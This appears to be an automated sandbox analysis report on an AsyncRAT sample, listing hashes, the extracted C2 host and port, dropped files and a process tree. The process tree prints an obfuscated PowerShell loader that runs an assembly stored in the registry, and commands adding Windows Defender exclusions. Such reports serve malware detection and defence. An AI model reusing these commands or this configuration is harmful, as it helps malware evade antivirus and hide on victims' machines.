Analysis

  • max time kernel
    150s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    23-07-2024 22:10

General

  • Target

    60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe

  • Size

    9.5MB

  • MD5

    ddc8d49e477960bc7601809021f33738

  • SHA1

    f3cd85a1934d4818c3c88b0314957b1e2304e264

  • SHA256

    60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0

  • SHA512

    a6b73d8f3eabc4e855de927257075510c593d52d59efc121bc21d8034c57ba0251e8453c4d995cd156aea7aa69bee8ee4ccfd2091591a6c328eecd85d2bcf955

  • SSDEEP

    49152:4hVHBlu5tvVvYlOJ0rUKrwPlt716X/hFiZPixVUg148GwjQJKGPt6:4hjC

Malware Config

Extracted

Family

asyncrat

Botnet

LocalHostTool's

C2

increased-wage.gl.at.ply.gg:9707

Attributes
  • delay

    1

  • install

    true

  • install_file

    Deadsvchost.exe

  • install_folder

    %Temp%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:424
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{e415ed46-c091-48cc-856b-95c742e3af10}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2896
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:476
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:596
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
              3⤵
                PID:1308
              • C:\Windows\system32\wbem\wmiprvse.exe
                C:\Windows\system32\wbem\wmiprvse.exe
                3⤵
                  PID:280
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k RPCSS
                2⤵
                  PID:676
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                  2⤵
                  • Modifies security service
                  PID:760
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                  2⤵
                    PID:808
                    • C:\Windows\system32\Dwm.exe
                      "C:\Windows\system32\Dwm.exe"
                      3⤵
                        PID:1164
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:840
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {0236B154-C7D6-40AA-936F-8E972603C572} S-1-5-18:NT AUTHORITY\System:Service:
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1452
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](68)+''+[Char](101)+''+[Char](97)+''+'d'+'st'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                          4⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Command and Scripting Interpreter: PowerShell
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2628
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService
                      2⤵
                        PID:964
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k NetworkService
                        2⤵
                          PID:108
                        • C:\Windows\System32\spoolsv.exe
                          C:\Windows\System32\spoolsv.exe
                          2⤵
                            PID:1008
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                            2⤵
                              PID:1028
                            • C:\Windows\system32\taskhost.exe
                              "taskhost.exe"
                              2⤵
                                PID:1104
                              • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
                                "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
                                2⤵
                                  PID:1644
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                                  2⤵
                                    PID:2104
                                  • C:\Windows\system32\sppsvc.exe
                                    C:\Windows\system32\sppsvc.exe
                                    2⤵
                                      PID:2380
                                  • C:\Windows\system32\lsass.exe
                                    C:\Windows\system32\lsass.exe
                                    1⤵
                                      PID:492
                                    • C:\Windows\system32\lsm.exe
                                      C:\Windows\system32\lsm.exe
                                      1⤵
                                        PID:500
                                      • C:\Windows\Explorer.EXE
                                        C:\Windows\Explorer.EXE
                                        1⤵
                                          PID:1240
                                          • C:\Users\Admin\AppData\Local\Temp\60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe
                                            "C:\Users\Admin\AppData\Local\Temp\60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe"
                                            2⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:2144
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Deadsvchost.exe'
                                              3⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2748
                                            • C:\ProgramData\Deadsvchost.exe
                                              "C:\ProgramData\Deadsvchost.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              PID:2792
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Lime.exe'
                                              3⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:3000
                                            • C:\ProgramData\Lime.exe
                                              "C:\ProgramData\Lime.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              PID:2536

                                        Network

                                        MITRE ATT&CK Enterprise v15

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                                        Downloads

                                        • C:\ProgramData\Deadsvchost.exe

                                          Filesize

                                          64KB

                                          MD5

                                          1a1ac88b495650cc6238f159d7107167

                                          SHA1

                                          2c7855283975df2c94d77e3830959d2d3863c966

                                          SHA256

                                          9f9cb8c969e3620d80653d86f9dba16dd9d1e579f475a9b87b9e6bcf32301cd4

                                          SHA512

                                          337e3dcc14e2abdb2fe2f695287b61a4e4ccec2f741862d972b32a35729c727c750a67c02978b085555b398fc538ab06f25406b2e1642fa82f207c78c874921a

                                        • C:\ProgramData\Lime.exe

                                          Filesize

                                          151KB

                                          MD5

                                          b8479a23c22cf6fc456e197939284069

                                          SHA1

                                          b2d98cc291f16192a46f363d007e012d45c63300

                                          SHA256

                                          18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

                                          SHA512

                                          786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                          Filesize

                                          7KB

                                          MD5

                                          d41586c88e756d04bf8ee27e83151822

                                          SHA1

                                          54dafcdedf03e0e6ec489ca095b53d32aa1daa26

                                          SHA256

                                          fc34407b7f57aa1eecb077f949a926f491b65cb2a629a9a8c6b49de6d29fb6dd

                                          SHA512

                                          dac80a3edaab93bbb5b10f015d4a93f4cf3c8d69b1182679e8d1bb385929ad521a7e8580c6d189a8318c6ec21968da2203b9a9d998f19efba1925335ef915abb

                                        • memory/424-55-0x000007FEBDF10000-0x000007FEBDF20000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/424-56-0x0000000037900000-0x0000000037910000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/424-47-0x0000000000C30000-0x0000000000C57000-memory.dmp

                                          Filesize

                                          156KB

                                        • memory/424-46-0x0000000000B70000-0x0000000000B92000-memory.dmp

                                          Filesize

                                          136KB

                                        • memory/424-44-0x0000000000B70000-0x0000000000B92000-memory.dmp

                                          Filesize

                                          136KB

                                        • memory/424-54-0x0000000000C30000-0x0000000000C57000-memory.dmp

                                          Filesize

                                          156KB

                                        • memory/424-48-0x0000000000C30000-0x0000000000C57000-memory.dmp

                                          Filesize

                                          156KB

                                        • memory/476-62-0x00000000002F0000-0x0000000000317000-memory.dmp

                                          Filesize

                                          156KB

                                        • memory/476-68-0x00000000002F0000-0x0000000000317000-memory.dmp

                                          Filesize

                                          156KB

                                        • memory/476-69-0x000007FEBDF10000-0x000007FEBDF20000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/476-70-0x0000000037900000-0x0000000037910000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/492-76-0x0000000000200000-0x0000000000227000-memory.dmp

                                          Filesize

                                          156KB

                                        • memory/492-83-0x000007FEBDF10000-0x000007FEBDF20000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/492-82-0x0000000000200000-0x0000000000227000-memory.dmp

                                          Filesize

                                          156KB

                                        • memory/492-84-0x0000000037900000-0x0000000037910000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/500-94-0x00000000002E0000-0x0000000000307000-memory.dmp

                                          Filesize

                                          156KB

                                        • memory/2144-2-0x0000000000250000-0x0000000000284000-memory.dmp

                                          Filesize

                                          208KB

                                        • memory/2144-1-0x0000000000CC0000-0x000000000164E000-memory.dmp

                                          Filesize

                                          9.6MB

                                        • memory/2144-0-0x000007FEF5BC3000-0x000007FEF5BC4000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2628-32-0x00000000776A0000-0x00000000777BF000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/2628-31-0x00000000778C0000-0x0000000077A69000-memory.dmp

                                          Filesize

                                          1.7MB

                                        • memory/2628-30-0x0000000001590000-0x00000000015B8000-memory.dmp

                                          Filesize

                                          160KB

                                        • memory/2748-9-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2748-8-0x000000001B630000-0x000000001B912000-memory.dmp

                                          Filesize

                                          2.9MB

                                        • memory/2748-7-0x0000000002B70000-0x0000000002BF0000-memory.dmp

                                          Filesize

                                          512KB

                                        • memory/2792-16-0x0000000000CF0000-0x0000000000D06000-memory.dmp

                                          Filesize

                                          88KB

                                        • memory/2896-41-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2896-33-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2896-34-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2896-35-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2896-36-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2896-38-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2896-39-0x00000000778C0000-0x0000000077A69000-memory.dmp

                                          Filesize

                                          1.7MB

                                        • memory/2896-40-0x00000000776A0000-0x00000000777BF000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/3000-22-0x000000001B510000-0x000000001B7F2000-memory.dmp

                                          Filesize

                                          2.9MB

                                        • memory/3000-23-0x0000000002810000-0x0000000002818000-memory.dmp

                                          Filesize

                                          32KB